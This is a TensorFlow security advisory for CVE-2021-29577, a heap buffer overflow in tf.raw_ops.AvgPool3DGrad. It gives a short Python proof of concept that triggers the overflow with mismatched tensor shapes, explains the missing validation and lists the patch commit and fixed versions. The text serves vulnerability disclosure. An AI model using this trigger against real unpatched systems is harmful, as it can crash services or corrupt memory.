CVE-2021-29577: Heap buffer overflow in `AvgPool3DGrad`

Impact The implementation of tf.rawops.AvgPool3DGrad is vulnerable to a heap buffer overflow:

python import tensorflow as tf

originputshape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32) grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32) ksize = [1, 1, 1, 1, 1] strides = [1, 1, 1, 1, 1] padding = "SAME"

tf.rawops.AvgPool3DGrad( originputshape=originputshape, grad=grad, ksize=ksize, strides=strides, padding=padding)

The implementation assumes that the originputshape and grad tensors have similar first and last dimensions but does not check that this assumption is validated.

Patches We have patched the issue in GitHub commit 6fc9141f42f6a72180ecd24021c3e6b36165fe0d.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
